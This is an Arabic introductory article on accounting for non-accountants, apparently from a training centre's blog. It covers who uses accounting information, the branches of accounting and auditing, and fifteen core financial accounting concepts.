1) أصحاب المنشأة: إن المنشأة الاقتصادية قد تكون منشأة فردية أو شركة أشخاص( تضامن) أو شركة مساهمة, أو قد تكون منشأة لا تهدف إلى الربح (المنشآت الحكومية و الخيرية ), و في جميع هذه الأشكال فإن المهتم بأمور هذه المنشأة لا يستطيع التعرف على أوضاعها و التحقق من أنها سائرة نحو تحقيق أهدافها إلا بتوفر المعلومات المحاسبية.

2) إدارة المنشأة: يصعب على إدارة المنشأة أن تقوم بعملها على الوجه المطلوب إذا لم تلم إلماماً جيدا بشؤون المنشأة, فإذا كان حجم المنشأة الاقتصادية كبيرا إلى الحد الذي لا تتمكن معه الإدارة من متابعة أنشطة المنشأة بسهولة,فإنه لا بد من المتابعة عن طريق التقارير, و التقارير السليمة لا تتوفر إلا إذا كان نظام فعاّل للمعلومات, و النظام المحاسبي جزء من نظام المعلومات في المنشأة.

3) الدائنون: من المعروف إن أهم مصدرين لتمويل المنشأة هما: الملاك و الدائنون.
و الدائنون إما أن يكونوا منشآت مالية كالبنوك و شركات الاستثمار أو من باع للمنشأة بالأجل بضائع لإعادة بيعها أو أصولا ثابتة.
و بما أن التعامل بالأجل أو الإقراض يتم بناء على الثقة في المدين أو المقترض, و مصدر هذه الثقة إما أن يكون
 إذا كان المشروع فردياً أو شركة!أ?- المالك نفسه  تضامن.
 بما يحققه من إيرادات مستقبلاً, و بما تحت يد إدارته!ب?- المشروع نفسه  من وسائل إنتاج إلى جانب سمعة الإدارة.

و عليه فإنه غالباً ما تكون التقارير المالية التي تعدها المنشأة في نهاية الفترة المحاسبية هي مصدر هذه المعلومات.

4) المستثمرون: يقصد بهم هنا من لديهم أموال يريدون استثمارها في مشروع قائم أو مشروع جديد, و المستثمر لن يتخذ قرار الاستثمار إلا بعد توفر المعلومات الكافية عما يستثمر فيه, ليس فقط عن المشروع نفسه, و إنما عن مشاريع الاستثمار البديلة حتى تتم المقارنة.

5) الحكومة: تعمل المنشأة في محيط اقتصادي تحكمه أنظمة و تشرف عليه أجهزة حكومية, بالإضافة إلى أن بعض المنشآت الاقتصادية تشارك الدولة و المجتمع في إيراداتها في شكل ضرائب و زكاة, كما أن البعض الآخر من المنشآت الاقتصادية يتلقى إعانات من الدولة, هذه العوامل تجعل من الدولة أحد المستفيدين من المعلومات المحاسبية.
و عليه فإننا نستطيع تقسيم الجهات المعنية بتتبع أحوال المنشآت إلى:
أ?- جهات حكومية تعنى بشكل مباشر بالمعلومات المالية مثل: وزارة التجارة الضرائب و الزكاة.!ممثلة في مصلحة الزكاة و الدخل
ديوان المراقبة العامة, و ذلك للأسباب التالية:
1. مراقبة إيرادات الدولة المحصلة من المنشآت الاقتصادية في شكل ضرائب و زكاة.
2. متابعة مصروفات الدولة في شكل إعانات للمنشأة الاقتصادية.
3. مراقبة المنشآت الاقتصادية التي تملك الدولة شيئاً من أسهمها أو تساهم في رأس مالها.
ب?- جهات حكومية تعنى بشكل غير مباشر بالمعلومات المالية مثل: وزارة المالية –إدارة الإحصاءات العامة – و وزارة التخطيط.

6) الموظفون: يحرص الموظف في المنشأة الاقتصادية على استمرار وظيفته التي تمثل مصدر دخله, و مصدر ازدياد هذا الدخل, و تحسن مركزه الوظيفي عن طريق التدرج في السلم الوظيفي في منشأته, و هذا لن يتحقق إلا في منشأة ناجحة؛ لذلك فإن الموظف معني مباشرة بمعرفة الأحوال التجارية و المالية للمنشأة, هذه المعرفة لا تأتي إلا عن طريق المعلومات المالية.

7) عملاء المنشأة: تعتمد المنشآت الاقتصادية على بعضها, فبعضها ينتج ليبيع على مؤسسات أخرى تبيع للمستهلك.
كما أن بعض المنشآت تنتج سلعاً تبيعها على منشآت أخرى تعتبر بالنسبة لها مواد خام يتم تصنيعها ثم بيعها منتجات جاهزة.
و غالباً ما يتبع هذا الاعتماد تداخل في المصالح يتمثل في البيع بالأجل أو في حصر أحوال المنشآت التي يشترون منها.. فقوة المورد و استقرار وضعه المالي و التجاري تريح العميل فيما يتعلق بمصادر إمداداته.

8) عامة الناس: يقصد بذلك من يتعامل مع المعلومات المالية لأي غرض آخر مثل الجامعات ممثلة بطلابها و أساتذتها, و مراكز الأبحاث و المكاتب الاستشارية, و مراكز تجميع المعلومات المالية.

 

فروع المحاسبة:
1- المحاسبة المالية.
2- محاسبة التكاليف.
3- المحاسبة الإدارية
4- محاسبة الزكاة و الضرائب
5- المحاسبة الحكومية

المحاسبة المالية:
هي أحد فروع المحاسبة يعني بتوثيق و معالجة البيانات المالية و إيصالها للمستفيدين منها في شكل تقارير مالية تعد وفقاً لمعايير متفق عليها لاستخدامها في اتخاذ القرارات.

محاسبة التكاليف: فرع من فروع المحاسبة يعنى بتجميع و معالجة المعلومات المالية للوصول إلى تكلفة الإنتاج إما بشكل إجمالي أو بشكل وحدة من وحداته, و تستخدم في التخطيط و الرقابة داخلياً و إعداد التقارير المالية للإدارة أو لأطراف خارجية.

المحاسبة الإدارية: أحد فروع المحاسبة يرتبط بالمحاسبة المالية و بمحاسبة التكاليف و ينصب على تحليل المعلومات المستمدة من النظام المحاسبي و وضعها في شكل يمكن للإدارة من التصرف في ظل رؤية واضحة, و يتيح لها متابعة مجريات الأمور و الحكم على سير المنشأة.

محاسبة الزكاة و الضرائب: و تعنى بتجميع و معالجة المعلومات المالية للوصول إلى المبلغ الخاضع للزكاة أو المبلغ الخاضع للضريبة و هو ما يعرف بـ(وعاء الضريبة أو الزكاة), ثم إعداد إقرار الزكاة أو الإقرار الضريبي للوصول إلى مبلغ الزكاة أو الضريبة الواجب دفعه لمصلحة الزكاة و الدخل.

المحاسبة الحكومية: تعتبر فرعاً من فروع المحاسبة و تعنى بتجميع و توثيق و معالجة المعلومات المتعلقة بالمصروفات و الإيرادات الحكومية للتأكد من ضبط الأموال العامة و الرقابة عليها و استخدامها الاستخدام الأمثل.

المراجعة:
و إن لم تكن فرعاً من فروع المحاسبة, إلا أنها تعد في هذا السياق؛ فالمراجعة تعنى بفحص كل أو بعض أجزاء النظام المحاسبي لتحقيق غرضين أحدهما خارجي و الآخر داخلي.
المراجعة الخارجية ( المراجعة القانونية): تهتم بفحص كل أو بعض أجزاء النظام المحاسبي لإضفاء الثقة على التقارير المالية التي أعدها ذلك النظام وفقاً لمعايير المراجعة المتفق عليها, و نتائجها ذلك التقرير أو الشهادة من المراجع القانوني التي ترفق بالقوائم المالية و تنشر معها.
المراجعة الداخلية: تفحص كل أو بعض أجزاء النظام المحاسبي للتأكد من سلامتها, و ذلك من أجل أن تتأكد الإدارة من أن النظام يسير كما خطط له و أنه يحقق الأغراض التي تهدف الإدارة إلى تحقيقها منه.

النظم المحاسبية: أحد فروع دراسة المحاسبة و إن لم يكن فرعاً منها, و تعنى بتصميم النظام المحاسبي و الإشراف على تنفيذه ثم استخدامه, كما تعنى دراسة النظم بفحص و نقد النظم القائمة لمعرفة مدى استجابتها لتحقيق أغراض النظام المحاسبي.

مجالات عمل المحاسب
المحاسب شخص مؤهل تأهيلاً مهنياً, و غالباً ما تكون مجالات عمله:
1- في مكاتب المحاسبين القانونيين.
2- في أقسام المحاسبة في الشركات و المنشآت الاقتصادية.
3- في الإدارات المالية في الأجهزة الحكومية.
4- في أجهزة الرقابة الحكومية.

الهيكل العام للفكر المحاسبي:
إن العملية المحاسبية تتمثل في حصول الإجراء( البيع و الشراء) و توثيق الإجراء ( إعداد الفاتورة أو شريط تسجيل المبيعات), ثم تقييد الاجراء( في اليومية العامة أو اليوميات المساعدة)و بعد التقييد يتم الترحيل للحسابات الخاصة في الاستاذ العام و سجلات الأستاذ الأخرى, ثم المرحلة الأخيرة من مراحل العملية المحاسبية و هي إعداد التقارير المالية من واقع ما سجل في سجلات الاستاذ..
أي العملية باختصار:
……!تحديد الحدث> توثيقه…..>  تقييده …..!> ترحيله…..!> توصيله.
إلا أن هذه العملية رغم بساطتها ظاهرياً فإنها في الواقع تخضع لقواعد تنظمها, هذه القواعد هي ما يعرف بمعايير المحاسبية المتعارف عليها.

فمعايير المحاسبة إذن هي:
بيان للطريقة التي تتم بها معالجة مفردات القوائم المالية بشكل يؤدي إلى تجانس المعالجة بسجلات و قوائم المنشآت الاقتصادية التي تظهر بها مثل هذه البنود.

و هنا يتبادر لنا سؤال: ما الذي يحكم معايير المحاسبة؟ و ما هو مصدر تكوينها؟
تتكون معايير المحاسبة متأثرة بأهداف و مفاهيم المحاسبة المالية.
و الهدف المحاسبي هو: تحديد و قياس و إيصال المعلومات المالية الناتجة عن إجراءات تكون المنشأة طرفاً فيها؛ لكي تعين أصحاب العلاقة على التصرف في ظل رؤية واضحة.
المفهوم المحاسبي: هو فكرة أو مصطلح أو تعبير استقر فهمه تستخدم لصياغة معايير المحاسبة اللازمة لقياس و إيصال المعلومات المالية لذوي العلاقة.

 

فيما يلي استعراض لبعض مفاهيم المحاسبة المالية:
1- مفهوم الوحدة الاقتصادية.
2- مفهوم الاستقرار.
3- مفهوم الفترة المحاسبية.
4- مفهوم الوحدة النقدية ثابتة القيمة محاسبياً.
5- مفهوم التكلفة.
6- مفهوم تحقق الدخل.
7- مفهوم المقابلة.
8- مفهوم الاستحقاق.
9- مفهوم الإفصاح التام.
10- مفهوم الثبات في استخدام السياسات المحاسبية.
11- مفهوم الأهمية النسبية.
12- مفهوم الحيطة و الحذر.
13- مفهوم الملاءمة.
14- مفهوم الثقة في المعلومات.
15- مفهوم القابلية للمقارنة.

  • مفهوم الوحدة الاقتصادية: Business Entity Concept
    يقضي هذا المفهوم أن تعتبر الوحدة الاقتصادية محاسبياً جهة مستقلة عن مالكيها أو عن الوحدات الاقتصادية الأخرى, حتى يمكن حصر موجوداتها و تحديد التزاماتها و معرفة نتيجة أعمالها خلال فترة زمنية محددة.

2- مفهوم الاستقرار: Going Concern Concept
أي أن المحاسبة المالية تتم في ظل تصور بأن المنشأة الاقتصادية منشأة قائمة و مستمرة و أنه لا يلوح بالأفق ما يشير إلى حلها أو تصفيتها.

3- مفهوم الفترة المحاسبية: Time Periodicity Concept
لقد تم اختيار السنة (12 شهر) كوحدة زمنية لقياس إنتاج المنشأة خلالها؛ لأن السنة هي الوحدة الزمنية التي تمر فيها المنشأة بدورة اقتصادية كاملة و محيطة بالظروف الاقتصادية السائدة.

4- مفهوم الوحدة النقدية ثابتة القيمة محاسبياً: Fixed Value Unit of Currency
تقوم المحاسبة على استخدام الوحدة النقدية أساساً للقياس, و لما كان يشترط ثبات المقياس حتى يكون صالحاً للقياس فقد اقتضت الضرورة فرض ثبات الوحدة النقدية على مدى السنين.

 

5- مفهوم التكلفة: Cost Concept
و يقصد بها التكلفة الفعلية التي قدمتها المنشآت من أجل الحصول على الأصل, و يترتب على تطبيق هذا المفهوم في المحاسبة تحقيق الموضوعية الذي من شأنه أن يؤدي إلى الزيادة في الثقة في المعلومات المحاسبية.

6- مفهوم تحقق الدخل:Income Realization Concept
يتضمن هذا المفهوم أن لا تعترف المنشأة بالدخل و تسجله في سجلاتها و تظهره في قوائمها المالية إلا بعد أن يتحقق فعلاً, و مقياس التحقق أن يحصل الدخل فعلاً بدليل مادي لا يحتمل الجدل, و أن يتم من الإجراءات ما يجعله أصلاً من أصول المنشأة.

7- مفهوم المقابلة: Matching Concept
يقتضي هذا المفهوم أن يحمل إيراد كل فترة محاسبية بالمصروف الذي ساهم في جلب ذلك الإيراد أو تحققه, و الفرق بينهما هو الربح العادل للفترة موضوع المحاسبة.

8- مفهوم الاستحقاق: Accrual Concept
تقوم المحاسبة في الغالب على واحد من ثلاثة أسس:
أ- الأساس النقدي.
ب- أساس الاستحقاق.
ت- أساس مختلط بين الأساسين.
فالأساس النقدي: يقتضي بأن تتم المحاسبة للإجراءات المالية التي صاحبها تدفقات نقدية.
أما أساس الاستحقاق: فيقتضي بأن تتم المحاسبة للإجراءات المالية التي تمت سواءً صاحبها تدفق نقدي أم لا.
و يعد مفهومي الاستحقاق و المقابلة من المفاهيم الأساسية التي يحكم في ضوئها على عدالة تمثيل القوائم المالية للدخل و للمركز المالي للمنشأة.

9- مفهوم الإفصاح التام:Adequate disclosure
و يقصد به أن تشتمل التقارير المالية و ملحقاتها من جداول أو تذييل أو تهميش كافة المعلومات التي تمكن المراجع من الاعتقاد بأن القوائم المالية تمثل بعدالة دخل المنشأة و مركزها المالي و مصادر و استخدامات الأموال في المنشأة, كما تجعل القارئ يثق بأن ما عرض في القوائم المالية و ملحقاتها من المعلومات ذات العلاقة بالمنشأة.

10- مفهوم الثبات في استخدام السياسات المحاسبية: Consistency Concept
من أهم الصفات النوعية للقوائم المالية أن تكون قابلة للمقارنة مع غيرها من القوائم المالية, و المقارنة قد تكون رأسية و بذلك فإن القوائم المالية للمنشأة في سنة ما تقارن بالقوائم المالية لنفس المنشأة في سنة أو سنوات أخرى.

11- مفهوم الأهمية النسبية:Materiality Concept
يقضي هذا المفهوم أن لا تطبق معايير و إجراءات المحاسبة حرفياً؛ فإذا كان الخروج على المعايير لا يؤثر تأثيراً ملحوظاً على عدالة القوائم المالية, و كان في إتباع المعايير في هذه الحالة ما يحمل المنشأة تكاليف أكبر مما يرتبه إتباع المعايير من منفعة فإنه يمكن العدول عن تطبيق معايير المحاسبة في مثل هذه الحالات.
و إذا ذكرت الأهمية النسبية فإن الناحية العملية أيضاً تؤخذ بعين الاعتبار؛ إلا أن تقدير الأهمية النسبية لأمر ما و تقدير الحالة العملية في الموضوع يترك للمحاسب.

12- مفهوم الحيطة و الحذر:Concervatism Concept
يقتضي هذا المفهوم أن يلزم المحاسب جانب الحيطة و الحذر في تقديره الأمور المستقبلية.

13- مفهوم الملاءمة:Relevancey Concept
يقصد به أن تكون المعلومات المالية التي تظهر في القوائم المالية ذات علاقة بما قد يتخذه قراء القوائم المالية من قرارات.

14- مفهوم الثقة في المعلومات: Concept Reliability
و يقصد به اتصاف المعلومات المالية بالموضوعية و بصحة القياس.
و تتصف المعلومة بالموضوعية إذا خلت من أي دليل أو إشارة للتحيز, و أفضل مقياس للموضوعية إذا كانت المعلومة تترجم تبادلاً بين طرفين متعارضي المصالح مثل: المعلومات المتعلقة بالشراء و البيع.

15- مفهوم القابلية للمقارنة:Comparability Concept
يقصد به أن تساعد المعلومات المالية على المقارنة موضوع المعلومة إما مقارنة رأسية أو مقارنة أفقية, و هذا يقتضي توفر أساس واحد لإيجاد و عرض المعلومات حتى تكون قابلة للمقارنة.

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي للمحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-1/feed/ 0